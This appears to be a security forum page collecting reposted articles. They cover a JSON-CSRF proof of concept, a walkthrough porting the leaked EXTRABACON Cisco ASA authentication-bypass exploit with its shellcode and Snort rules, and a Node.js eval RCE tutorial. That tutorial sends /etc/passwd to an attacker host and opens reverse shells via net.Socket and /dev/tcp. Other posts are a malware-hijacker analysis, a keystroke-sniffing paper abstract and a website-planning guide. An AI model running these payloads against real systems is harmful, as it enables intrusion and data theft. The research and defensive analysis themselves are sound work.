Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 08/25/16 in all areas

  1. Nytro
    Posting JSON with an HTML Form 24 Aug 2016 in Security Tags: Hacks, Web Security A coworker and I were looking at an application today that, like so many other modern web applications, offers a RESTful API with JSON being used for serialization of requests/responses. She noted that the application didn’t include any sort of CSRF token and didn’t seem to use any of the headers (X-Requested-With, Referer, Origin, etc.) as a “poor man’s CSRF token”, but since it was posting JSON, was it really vulnerable to CSRF? Yes, yes, definitely yes! The idea that the use of a particular encoding is a security boundary is, at worst, a completely wrong notion of security, and at best, a stopgap until W3C, browser vendors, or a clever attacker gets hold of your API. Let’s examine JSON encoding as a protection against CSRF and demonstrate a mini-PoC. The Application We have a basic application written in Go. Authentication checking is elided for post size, but this is not just an unauthenticated endpoint. package main import ( "encoding/json" "fmt" "net/http" ) type Secrets struct { Secret int } var storage Secrets func handler(w http.ResponseWriter, r *http.Request) { if r.Method == "POST" { json.NewDecoder(r.Body).Decode(&storage) } fmt.Fprintf(w, "The secret is %d", storage.Secret) } func main() { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) } As you can see, it basically serves a secret number that can be updated via HTTP POST of a JSON object. If we attempt a URL-encoded or multipart POST, the JSON decoding fails miserably and the secret remains unchanged. We must POST JSON in order to get the secret value changed. Exploring Options So let’s explore our options here. The site can locally use AJAX via the XMLHTTPRequest API, but due to the Same-Origin Policy, an attacker’s site cannot use this. For most CSRF, the way to get around this is plain HTML forms, since form submission is not subject to the Same-Origin Policy. The W3C had a draft specification for JSON forms, but that has been abandoned since late 2015, and isn’t supported in any browsers. There are probably some techniques that can make use of Flash or other browser plugins (aren’t there always?) but it can even be done with basic forms, it just takes a little work. JSON in Forms Normally, if we try to POST JSON as, say, a form value, it ends up being URL encoded, not to mention including the field name. <form method='POST'> <input name='json' value='{"foo": "bar"}'> <input type='submit'> </form> Results in a POST body of: json=%7B%22foo%22%3A+%22bar%22%7D Good luck decoding that as JSON! Doing it as the form field name doesn’t get any better. %7B%22foo%22%3A+%22bar%22%7D=value It turns out you can set the enctype of your form to text/plain and avoid the URL encoding on the form data. At this point, you’ll get something like: json={"foo": "bar"} Unfortunately, we still have to contend with the form field name and the separator (=). This is a simple matter of splitting our payload across both the field name and value, and sticking the equals sign in an unused field. (Or you can use it as part of your payload if you need one.) Putting it All Together <body onload='document.forms[0].submit()'> <form method='POST' enctype='text/plain'> <input name='{"secret": 1337, "trash": "' value='"}'> </form> </body> This results in a request body of: {"secret": 1337, "trash": "="} This parses just fine and updates our secret! Sursa: https://systemoverlord.com/2016/08/24/posting-json-with-an-html-form.html
    4 points
  2. Webz
    Web design in 4 minutes. Just click on links :3 magic
    3 points
  3. Nytro
    Bake your own EXTRABACON August 25, 2016 In the last couple of days we took a closer look at the supposed NSA exploit EXTRABACON, leaked by Shadow Brokers. As an initial analysis of XORcat concluded, the code is capable of bypassing authentication of Cisco ASA devices after exploiting a memory corruption vulnerability in the SNMP service. We managed analyze and test the code in our lab and even add support for version 9.2(4) (that created quite bit of a hype :). While we don’t plan to release the upgraded code until an official patch is available for all affected versions, in this post we try to give a detailed description of the porting process: what the prerequisites are and how much effort is required to extend its capabilities. We also hope that this summary will serve as a good resource for those who want to get started with researching Cisco ASA. Meet Cisco ASA Cisco Adaptive Security Appliance (ASA) is a widely adopted network security appliance that – besides standard packet filtering capabilities –, also provides a portfolio of “smart”, application level features such as L7 protocol inspection or VPN. Presumably this complex feature set was one of the motivators for Cisco to choose 32-bit x86 CPUs for their implementation. According to the vendor homepage there are more than 1 million devices deployed around the world. The wide deployment, well understood architecture and the complex (thus likely bug rich) feature set makes Cisco ASA a hacker’s wet dream. It’s no surprise that several teams have done extensive research on the platform – among these the recent work of Exodus Intelligence and Alec Stuart’s Breaking Bricks presentation were the most inspirational for us, we highly recommend to take a good look at these before moving on! The test lab To start up with ASA it’s best to have some actual hardware. Fortunately ASA 5505 boxes can be found relatively cheaply on online auction sites. The different appliance versions have different size of internal persistent storage that limits the size of the firmware that can be uploaded, but the one available in 5505 is enough to test the 9.2 line that we are mostly interested in right now. When your little greenish(?) friend arrives you’ll probably won’t have a clue about its configuration so you should establish a serial connection that gives you opportunity to reset the configuration and access the console without a password. For this you’ll need a Cisco console cable (RJ45-to-DB9), and an RS232-USB converter – all available on your favorite online shop. With these you can connect the Console port of the device to the USB port on your workstation. On Linux you can use minicom to connect to the console, connection parameters are: 9600 baud Parity: 8N1 After you’re connected you can check the firmware version and configure the device. For our purposes it’s important to configure your interfaces for IP networking, enable SSH and SNMP (don’t forget to enable traffic in the access-list!) – you should consult the official Cisco documentation about how to do this. To install new firmware, you first need the matching firmware binary. Several versions can be found on the Internet with some smart googling, the name of the image file for version 9.2(4) is asa924-k8.bin. New firmware can be uploaded to the internal flash memory of the device via SCP: scp asa924-k8.bin admin@192.168.5.1:/asa924-k8.bin The boot order can then be configured according to this manual. With the preferred firmware version and the serial connection you can already verify the memory corruption exploited by EXTRABACON by sending a long SNMP OID like: 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144 This will likely result in an access violation that results in some basic debug information dumped on the serial console. This is nice, but you probably want to interactively debug your nice new target, let’s see how! Remote debugging To configure remote debugging we followed the guidelines of Alec Stuart (see the link above), here we now just give a quick overview of the process. ASA runs a Linux-like operating system where a large monolithic ELF binary called lina is responsible for handling (almost) all data coming through in task specific threads. The firmware image contains the root file system with all binaries and configuration files – you can extract this with binwalk: $ binwalk -e asa924-k8.bin DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------------------- 514 0x202 LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes 144510 0x2347E gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression 1500012 0x16E36C ELF 1501296 0x16E870 gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015 28192154 0x1AE2D9A Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll" 28773362 0x1B70BF2 Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll" The rootfs.img file starts from offset 0x16E36C (in this case) in gzipped form, the file itself is a CPIO archive that you can extract with the standard command line tool. The/asa/scripts/rcS file is responsible for starting up lina during init. This file conveniently contains a commented line that passes command line arguments for thelina_monitor executable so it’ll start up with a GDB server enabled: # Use -g to have system await gdb connect during boot. #echo "/asa/bin/lina_monitor -l -g -d" >> /tmp/run_cmd We modified the repack.sh script demonstrated by Alec to: Automatically find and carve out rootfs.img from the firmware image Unpack it Replace rcS so it’ll start up lina in debug mode Repack the rootfs Put the new rootfs archive back into the firmware binary using dd After replacing the original firmware image on the device lina will wait for GDB attach during startup: Process /asa/bin/lina created; pid = 518 Remote debugging using /dev/ttyS0 To continue execution, fire up GDB as root, and attach to the target over serial: (gdb) target remote /dev/ttyUSB0 Now you can interactively debug your device. And the good news is: this was the hard part Bacon and eggs When we started dealing with EXTRABACON our main question was how hard it could be to add support to newer firmware versions. For this reason we took a “hacky” approach and looked for the easiest way to approach the problem, without caring too much about Cisco internals or other in depth details. First let’s take a look at the directory structure: . ├── extrabacon_1.1.0.1.py ├── Mexeggs │ ├── all.py │ ├── argparse.py │ ├── hexdump.py │ ├── __init__.py │ ├── loglib.py │ ├── log.py │ ├── sploit.py │ └── version.py ├── scapy ... └── versions ├── shellcode_asa802.py ... └── shellcode_asa844.py As we can see, shellcode for different firmware versions are stored separately in the versions/ directory, the main exploit code in a single Python file,extrabacon_1.1.0.1.py. This indicates modular design and version control, one Little Sunshine for the authors! Mexeggs is a “mini-framework” for the exploit: it defines standard interfaces for the implementation and handles common tasks like argument parsing and logging (The default log directory is D:\DSZOPSDisk\logs, the logs are stored under the directory codenamed "concernedparent"). This enforces self-documentation and facilitates integration with other tools, another Little Sunshine. Because of modularity the main exploit script only concerns us as long as we fix up version detection in the Extrabacon.fw_version_check() function – many draw conclusions about code quality because of the longer elif statement structure here, but I’m perfectly fine with adding just two lines (that I can basically copy-paste) to the source without figuring out some clever solutionTM. Let’s take a look at the shellcode scripts! To have a sense about how much work is ahead, one can just do a byte-by-byte diff on the files, here’s a capture between 8.0(2) and 8.4(4), the first and last supported versions: What we can see is that the shellcode is mostly the same for both versions, there are only some 2-4 bytes differences (some addresses/offsets maybe? :). There is a clear difference in the my_ret_addr values in every version, but anyone who ever done this kind of exploitation would be really happy to see a variable name (and value) like this: After added the two lines for version detection we copied one of the original shellcode files with the name shellcode_asa924.py to the versions directory and defined the usual 0x41414141 value as my_ret_addr. After launching the exploit, we were awarded with a nice little SIGSEGV: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 523] 0x41414141 in ?? () (gdb) info reg eax 0x0 0 ecx 0xcbd65a48 -875144632 edx 0x0 0 ebx 0x90909090 -1869574000 esp 0xccb980e0 0xccb980e0 ebp 0x90909090 0x90909090 esi 0x90909090 -1869574000 edi 0x90909090 -1869574000 eip 0x41414141 0x41414141 eflags 0x213246 [ PF ZF IF #12 #13 RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) As we can see, this is a clear instruction pointer overwrite, the NOPed register values also suggest that we are facing a classic stack-based buffer overflow. Before you ask: no, Cisco didn’t employ any kind of exploit mitigation, we don’t have to come around stack canaries, and the memory layout of the system is the same on every instance with identical firmware versions, so we can party like in the ’90s! After a quick inspection of the memory it’s clear that other parts of the shellcode are present on the stack, and like in a textbook example ESP points right to the second fragment in the script called finder – the disassembly of this stage can be read below: $ rasm2 -d "\x8b\x7c\x24\x14\x8b\x07\xff\xe0\x90" mov edi, dword [esp + 0x14] mov eax, dword [edi] jmp eax nop This simple code dereferences a pointer on the stack twice to transfer execution for the second stage. This code could be reused without modification and was 100% reliable during our tests, we only had to set my_ret_addr to a fixed address pointing to a jmp espinstruction in the 9.2(4) lina binary. The second stage called preamble is also pretty simple: mov eax, 0xad47cc10 xor eax, 0xa5a5a5a5 ; EAX=8E269B5 sub esp, 4 mov dword [esp], eax mov ebp, esp add ebp, 0x48 xor eax, eax xor ebx, ebx mov bl, 0x10 xor esi, esi mov edi, 0xaaaaaaae xor edi, 0xa5a5a5a5 ; EDI=F0F0F0B push al This code fixes the corrupted stack frame (Little Sunshine for the tidy room!) and pushes some constants (one of them looks like a code pointer…) on the stack – more about these later. After this, launcher is executed: mov eax, dword [esp + 0x1e8] add al, 1 call eax This little one reads a pointer from the stack, adjusts it a bit then calls the resulting address. Since we didn’t know what kind of pointer we were looking for we uploaded old firmware matching one of the supported versions to our device and modified the corresponding shellcode fragments to start with the 0xCC opcode (INT 3) that triggers a memory dump (we were too lazy to patch this firmware too for remote debugging…). This way we could find out that the address launcher is looking for is pointing to our first actual payload PMCHECK_disable. The launcher didn’t work out-of-the-box, so we started to search the memory around ESP to find signs of the payload. For this we initially used the 0xa5a5a5a5 pattern that is used in numerous places as an XOR mask, then narrowed the search with longer patterns. After we found the start of the payload, we looked for values on the stack pointing close to it. Finally were able to make this stage work too with someminor modifications on the included offsets. The payload actually consists of two parts, PMCHECK_disable and AAAADMINAUTH_disablewhich work in a really similar fashion, so we’ll now just discuss the first one of these: mov edi, 0xa5a5a5a5 mov eax, 0xa5a5a5d8 xor eax, edi ; EAX=7D mov ebx, 0xacf065a5 xor ebx, edi ; EBX=955C000 mov ecx, 0xa5a5b5a5 xor ecx, edi ; ECX=1000 mov edx, 0xa5a5a5a2 xor edx, edi ; EDX=7 int 0x80 ; SYSCALL jmp 0x39 mov edi, 0x955c9f0 ; ADDRESS TO PATCH xor ecx, ecx mov cl, 4 cld rep movsb byte es:[edi], byte ptr [esi] ; BUFFER COPY jmp 0x42 pop esi jmp 0x25 call 0x36 xor eax, eax ; PATCH CODE inc eax ret The first part again unmasks some constant values then triggers a syscall. The syscall identifier is in EAX by convention, so what we’re basically doing is: sys_mprotect(start=0x955C000, len=0x1000, prot=0x7) …effectively setting a memory page containing 0x955c9f0 writable. Fortunately the corresponding firmware is also publicly available, after extraction and disassembly it’s clear that this address is the entry point of a function that is (surprise!) responsible for an authentication check. The end of the shellcode (“always return 1″) is then copied to this address with the rep movsb instruction, finally the shellcode forwards the execution to the AAAADMINAUTH_disable payload part, that does exactly the same with the AAA API of the firmware. This way critical authentication checks will always return SUCCESS, resulting in an authentication bypass. Please note that we’re now having arbitrary code execution, so this patchwork is just one of the possible things we could do. Unfortunately, performing networking from shellcode on ASA is not trivial (see the XI post for details), so this solution seems reasonable, one that is both compact and easy to adopt to new targets. We adopted this code by looking up the patched functions in the newer firmware. Although subgraph isomorphism is a hard problem, in practice (close to) identical code parts could be identified based on debug strings (there are a lot of these in the linabinary) and “unique looking” code patterns (we admit that for this second part you need some intuition and luck). In IDA the matching functions are visually very similar, it’s easy to recognize them once they are found. And once again, the great thing about the payload is that after the matching entry points are found, we only have to modify 2 constants, and we’re done. Or are we? Although at this point we’ve successfully executed our payload, and authentication is disabled, we can’t login to a device that has crashed because we started to execute some garbage from the stack (which is executable, if it wasn’t obvious until now :). Remember the constant that looked like a code pointer in the preamble? Well, this is exactly the address where our almost ready exploit crashes the target. If we take a look at the disassembly in the “old” lina, we can see, that this is an address right after a function call, possibly a call to a function, where the corruption occurred and after which we’d like to continue execution like nothing have happened. The process here was the same: look up the same function in the new binary, patch the constant address in the preamble, and our exploit works as expected. Summary All in all, to support a new version one has to: Find a JMP ESP address Fix up stack offsets Fix two hardcoded function entry addresses Fix the hardcoded return address Steps 1., 3. and 4. can be performed automatically via static analysis. In our case step 2. required some debugging, but with some better understanding of the code it really seems plausible to fully automate the process of shellcode generation. In fact, leaked shellcode files start with this comment: # # this file autogenerated, do not touch # It’s also important to note that we created the new exploit version without detailed root cause analysis, special tools or source code, based just on the information available in the leaked code and obtained through debugging and simple static binary analysis. Little Sunshine. Future work As we encounter ASA devices regularly during our pentest projects we want to continue the work to add support for as many affected versions as possible. For this we plan to automate most of the process of shellcode generation that looks like an exciting task. It’s also important to perform extensive reliability tests, because we don’t want to risk crashing the equipment of our customers. Although the original exploit is very reliable, the described process seems to introduce some uncertainty that is yet to be resolved. Detection, mitigation, solution? Cisco released a detailed blog post and security advisory about the vulnerability exploited by EXTRABACON confirming that all supported versions are vulnerable. As of the time of writing no patch is available, as Workaround the vendor recommends to restrict access to the SNMP interface and set up hard to guess community strings. Two notes on these workarounds: SNMP is a UDP based protocol that allows trivial source address spoofing. You should keep this in mind when designing/reviewing network level workarounds. Community strings are transferred in plain text on the network. We don’t expect the common community strings (like public) to go away any time soon. There are also Snort rules available, from which I could access the one from Emerging Threats (thanks Mario): alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA PMCHECK Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ac 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023070; rev:1;) alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA AAAADMINAUTH Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ad 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023071; rev:1;) (If you have access to the rules released by Cisco or other IDS/IPS signatures, please contact us!) This is clearly an attempt to catch one of the payloads by matching a signature, which can be trivially bypassed by changing the XOR mask, or change the sequence of some instructions (just to name a few methods). From forensics perspective, the "return 1" patches are clear indicators of compromise (the corresponding memory addresses can be extracted from the leaked files), although we have to stress that the known payloads are just some of the infinite possible ones. Before the publishing this post Cisco started to roll out patches for certain firmware versions – be sure to test and apply these on your equipment to thwart the attacks based on EXTRABACON! As the vendor started to systematically eradicate vulnerabilities, we expect the latest patches to include more than just this fix, that’d be an effort to be appreciated. However, in the long term up-to-date exploit mitigation techniques should be applied on ASA (and other) software to provide scalable protection for the platform, killing entire vulnerability classes and raising attacker cost. We’ll update this post as new relevant information emerges. Sursa: https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/
    2 points
  4. QuoVadis
    Scriu acest ghid pentru cei care vor dori in viitor ca cineva (individ/grup/companie) sa le faca un website si sper sa le fie util atat lor: pentru a isi da seama ce vor, pentru a reduce riscul de a fi tepuiti, etc. cat si companiei: sa inteleaga contextul, asteptarile, ce trebuie sa livreze, etc. Insa si pentru sunt satul de cei care asteapta ca altii sa le citeasca gandurile. Deci.. inainte de a discuta cu cineva o oferta de pret si alte detalii, ar fi ideal sa asterneti in scris urmatoarele. Evident, se poate adapta dupa nevoi: 1. O foarte scurta introducere: Daca este o firma, cand a luat fiinta, cu ce se ocupa, cati angajati, realizari, etc. Daca este un site personal: detaliile corespunzatoare. Si asa mai departe. Este un site nou sau refacerea unuia existent. 2. Obiectivele: ce vreti sa realizati cu acest website. Se pot imparti eventual pe obiective principale: 3-5 la numar si obiective secundare. Acestea trebuie sa fie realiste. 3. Cui se adreseaza acest site, care ar fi vizitatorul ideal. In functie de obiective, ce fel de vizitator v-ar ajuta sa la atingeti. Ganditi-va la ce ar vrea ei sa faca pe site si la ce ati vrea voi ca ei sa faca pe site si cum acestea pot fi imbinate. Ce vrei sa-i convingi sa faca: sa citeasca ceva, sa urmareasca un clip, sa cumpere ceva, etc. 4. Un schelet al site-ului ideal. Chiar daca acesta va suferi modificari si adaptari dupa consultarea cu cel ce va livra site-ul si chiar daca este cu pixul pe hartie, cum ati vrea sa fie structurat landing page-ul si eventual urmatoarele cateva pagini. Daca folositi un tool de mindmapping (https://bubbl.us/mindmap) veti putea asterne un element grafic extrem de folositor: pentru voi, sa va dati seama de structura potentiala, cat de usor va fi de navigat si sa va asigurati ca nu va scapa nimic din memorie; dar si pentru cei ce lucreaza: sa inteleaga ce vreti sa realizati si sa poata veni cu idei si sugestii. 5. Detaliile tehnice: aceasta lista trebuie sa fie cat mai completa. Unele proiecte mari necesita si luni de zile de lucrat la definirea specificatiilor tehnice. Chiar daca nu le produceti pe toate la inceput, vor fi esentiale pentru cei ce lucreaza sa va poata da un pret estimativ si un timp de livrare. Apoi, inainte de incheierea contractului (un contract nu e neaparat ceva oficial, poate fi contract verbal sau in scris pe Sykpe, etc.) trebuie specificat si confirmat cu exactitate fiecare fiecare detaliu. Un exercitiu recomandat este sa va puneti in pielea vizitatorului si sa navigati mental pe site si sa va ganditi la "user experience" si cum ar putea fi imbunatatit. La urma urmei aceasta este ultima sansa de a adauga cerinte la proiect. Bineinteles ca unii vor fi flexibili insa daca abuzati de bunatatea altora va veti trezi cu neplaceri. De asemenea cine va "mentine" site-ul dupa completare. Este nevoie de un CMS? Sau de training in editarea si updatarea lui? 6. Detalii auxiliare: in afara de cerintele necesare pentru functionarea site-ului, aspecte de design, securitate, viteza, legalitate/compliance, back-ups, integrari, etc. 7. Daca aveti competitie cine este: ce au bun, ce au mai putin bun. Ce puteti folosi ca idee/concept (nu copiat!) si ce puteti imbunatati. Cum ati putea plusa pe slabiciunile lor si cum evitati repetarea greselilor lor? Sunt exemple de site-uri care va plac pe o nisa asemanatoare? Aveti un anume concept in gand? Cat mai multe detalii de genul acesta. 8. Bugetul. Stiu e nasoala treaba cu banii si e greu de multe ori de specificat o suma si mai ales nu vreti din anumite motive sa specificati cati bani aveti alocati pentru asa ceva pentru ca va e frica de faptul ca se va profita de aceasta informatie si intradevar multi o fac si pun preturile in functie de client si de cati bani au. Ca sa evitati aceste lucruri dati niste range-uri cat mai vagi insa realiste si apropiate de realitate ca sa nu va pierdeti nici voi vremea si nici cei cu care luati legatura. Spre exemplu daca aveti un buget de 500 euro puteti spune intre 250 - 800. Daca vi se da un pret de 700, puteti incepe si negocia de la 400 pentru a ajunge apoi la suma dorita insa negocierea este un alt topic de discutie. 9. Deadline-ul. Sa fie cat mai realist, cu obraz insa bine definit. Chestii de genul "cat mai repede", "urgent", etc. sunt penibile. Aici este o oportunitate de a elimina si din riscul pierderii banilor si anume crearea de stagii (milestones): impartiti proiectul pe stagii, si la completarea fiecarei stagiuni cei ce lucreaza vor vedea un procent din suma totala - totul stabilit prin contract. 10. Orice alte detalii, presupuneri, dorinte, chestii de accesibilitate dorite, etc. Bineinteles, in functie de proiect aceste lucruri variaza insa acesta este un punct de plecare pentru: - a nu irosi timpul vostru si al altora - a avea cat mai mari sanse de reusita - a nu fi luati de prosti si tratati (dpdv financiar) ca atare. Succes!
    1 point
  5. albertynos
    https://www.udemy.com/wi-fi-hacking-with-kali/?couponCode=udemy
    1 point
  6. Nytro
    Diaphora Diaphora (διαφορά, Greek for 'difference') is a program diffing plugin for IDA Pro, similar to Zynamics Bindiff or the FOSS counterparts DarunGrim, TurboDiff, etc... It was released during SyScan 2015. At the moment, it works with IDA Pro but support for Radare2 (and maybe Pyew or even Hopper) is also planned. For more details, please check the tutorial in the "doc" directory.Getting help and asking for features You can join the mailing list https://groups.google.com/forum/?hl=es#!forum/diaphora to ask for help, new features, report issues, etc... For reporting bugs, however, I recommend using the issues tracker:https://github.com/joxeankoret/diaphora/issues Please note that only the last 2 versions of IDA will be supported. As of today, it means that only 6.7 and 6.8 are supported. Version 6.6 "should work" (with all the last patches that were supplied to customers), but no support is offered for it. Documentation You can check the tutorial https://github.com/joxeankoret/diaphora/blob/master/doc/diaphora_help.pdfScreenshots This is a screenshot of Diaphora diffing the Microsoft bulletin MS15-034: These are some screenshots of Diaphora diffing the Microsoft bulletin MS15-050, extracted from the blog post Analyzing MS15-050 With Diaphora from Alex Ionescu. Link: https://github.com/joxeankoret/diaphora
    1 point
  7. Nytro
    Keystroke Recognition Using WiFi Signals Kamran Ali† Alex X. Liu†‡ Wei Wang‡ Muhammad Shahzad† ABSTRACT Keystroke privacy is critical for ensuring the security of computer systems and the privacy of human users as what being typed could be passwords or privacy sensitive information. In this paper, we show for the first time that WiFi signals can also be exploited to recognize keystrokes. The intuition is that while typing a certain key, the hands and fingers of a user move in a unique formation and direction and thus generate a unique pattern in the time-series of Channel State Information (CSI) values, which we call CSI-waveform for that key. In this paper, we propose a WiFi signal based keystroke recognition system called WiKey. WiKey consists of two Commercial Off-The-Shelf (COTS) WiFi devices, a sender (such as a router) and a receiver (such as a laptop). The sender continuously emits signals and the receiver continuously receives signals. When a human subject types on a keyboard, WiKey recognizes the typed keys based on how the CSI values at the WiFi signal receiver end. We implemented the WiKey system using a TP-Link TL-WR1043ND WiFi router and a Lenovo X200 laptop. WiKey achieves more than 97.5% detection rate for detecting the keystroke and 96.4% recognition accuracy for classifying single keys. In real-world experiments, WiKey can recognize keystrokes in a continuously typed sentence with an accuracy of 93.5%. Download: https://www.sigmobile.org/mobicom/2015/papers/p90-aliA.pdf
    1 point
  8. Webz
    NODEJS RCE AND A SIMPLE REVERSE SHELL While reading through the blog post on a RCE on demo.paypal.com by @artsploit, I started to wonder what would be the simplest nodejs app that I could use to demo a RCE. Looking at the hello world tutorials online, I came up with the following simple app that takes a user input via the URL as a GET parameter and passes it to eval, which is obviously a bad programming practice. Obviously, the functionality of this app is questionable, but in the real world Node applications will use eval to leverage JavaScript’s eval but with sandboxing amongst other things. var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello eval(req.query.q)); console.log(req.query.q); }); app.listen(8080, function () { console.log('Example listening on port 8080!'); }); To access the app, navigate to http://hostip:8080/?q='Test'. The exploit can be triggered using the q parameter. Node provides the child_process module and the eval can be used to execute the exploit. A quick demo can consist of the following steps: 1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. 2. Navigate to http://hostip:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80') This will send the contents of /etc/passwd to the attacker’s nc instance. If the Node server has the traditional nc installed (instead of the openbsd alternative) you can even use -e /bin/bash to return a proper shell from the Node server. But as the case is with default installations the netcat that attacker’s love may not always be present on vulnerable machines. In such cases, the net module can be used to redirect the stdin, stdout and stderr streams to and from the attacker’s machine. The exploit code in such a case would be: var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(80, "attackerip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); To execute this, use the following steps: 1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. Again, this would act as your shell listener/collector. 2. Navigate to http://hostip:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}); You can then use /bin/bash -i or python -c 'import pty; pty.spawn("/bin/bash")' to get a proper TTY shell (See more techniques here.). I created a docker image with Node and the app installed so that this is easier to test and play with. You can setup this PoC using the following steps: 1. Install docker on your host machine. This is the standard reference – https://docs.docker.com/engine/installation/ 2. Once docker is setup, run the following command: docker run -p 8080:8080 -d appsecco/node-simple-rce 3. Navigate to the Node app by going to: http://localhost:8080/?q=’Test’ Update: A simpler reverse shell is: require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/192.168.56.2/80 0>%261"') According to https://github.com/bahamas10/node-exec: For backwards compatibility with child_process.exec, it is also possible to pass a string to exec. The string will automatically be converted to [‘/bin/sh’, ‘-c’, ‘{string}’], which will cause the string to be parsed on the shell. Since /bin/sh has some trouble dealing with multiple file descriptors, we can simply ask /bin/sh to spawn a new /bin/bash and use the new /bin/bash to execute our standard reverse shellcode. Whew! The code is available on Github if you want to test this locally. Feel free to make any changes to the code and redistribute! Happy Hacking! Articol preluat de pe site-ul Mi s-a parut foarte interesant acest write-up , si m-am gandit sa il postez si aici. Sper sa va inspire !
    1 point
  9. Nytro
    File-in-the-middle hijackers Posted August 23, 2016 by Pieter Arntz We are not sure if this is going to be a new trend among browser hijackers, but it seems more than a coincidence that we found two browser hijackers using a very similar approach to reach their goal of taking victims to the sites of their choice. Both are using one of their own files to act as a file-in-the-middle between the user and the browser. Let’s compare them. Dotdo Audio Dotdo is a strain of hijackers that we have discussed before for using different and more “out of bounds” methods to get the job done. I named this variant “audio” because it uses audio advertisements. But that is not our focus here. It’s the replacement of browser executables with their own that raised our interest. The installer renames the files firefox.exe and chrome.exe, if present, and adds a number to the filename. It then hides these renamed files and replaces them with its own files. The screenshot above shows you the hidden and renamed Chrome file, in the same folder as the replacement. I changed the settings for hidden files so that we can see them. In a similar screenshot below we can see that the same was done for Firefox. Note that all the changes are misdated, they were all made 8/10/2016. For the hijacker using the method of replacing files this has the advantage that they don’t have to follow the more common method of altering shortcuts. All the shortcuts the user has on his desktop, startmenu, taskbar, and anywhere else, can stay the same as the folder and filename they are pointing to are still valid and now under control of the hijacker. Then, when the false browser is started the hijacker will trigger the renamed chrome.exe and add some extra instructions. As a result the victim will be able to surf as he expected and probably ask himself where the audio advertisements are coming from. HPRewriter2 This one was named after the entry it makes in the list of installed Programs and Features. The browsers are hijacked to open with traffic-media[dot]co by altering the browser shortcuts for: Chrome Firefox Internet Explorer Opera Yandex The target of the shortcuts is altered to C:\Users\{username}\AppData\Roaming\HPRewriter2\RewRun3.exe {version number} as shown in the example below. Triggering Rewrun3.exe without a version number accomplishes nothing (it will not run), but with the version number forwarded by the shortcuts, Rewrun3 opens the targeted browser with the traffic-media[dot]co site or one of their redirects. Summary We discussed two hijackers from very different families and using different methods, but they also had a few things in common. They want the victims to hear/see their advertisements and they used a file-in-the-middle between the browser shortcuts and the actual browser in order to alter the browsers behavior to meet their goals. Additional information File properties: Dotdo hijack installer SHA1: 0d16eae1f5748410fa047daa533d0ebbd994ea1c Firefox.exe (fake) SHA1: 53a77f64595b1fb65a88247a324458f569e3d12a Chrome.exe (fake) SHA1: 501c9a6b224f58773b603675a71624d7e7353d1f HPRewriter2 installer SHA1: f96399f3b91218f30a9e58fce8009eaab5521398 Rewrun3.exe SHA1: 117db3909a2507e162a6361be1f4e5950f017e7d Removal guides: Dotdo Audio HPRewriter2 Protection and detection Because of the intrusive changes the Dotdo installer makes it was classified as a Trojan. The resulting changes to the system are detected and removed as PUP.Optional.DotDo and PUP.Optional.MultiPlug. Likewise some of the main files involved in the HPRewriter2 hijack are detected as Trojans. The resulting changes to the system are detected and removed as PUP.Optional.HPDefender. As a result of the Trojan detections Malwarebytes Anti-Malware Premium users are protected against these threats even if they don’t have the Non-Malware Protection enabled. Save yourself the hassle and get protected too. Pieter Arntz Sursa: https://blog.malwarebytes.com/cybercrime/2016/08/file-in-the-middle-hijackers/
    1 point
  10. Nytro
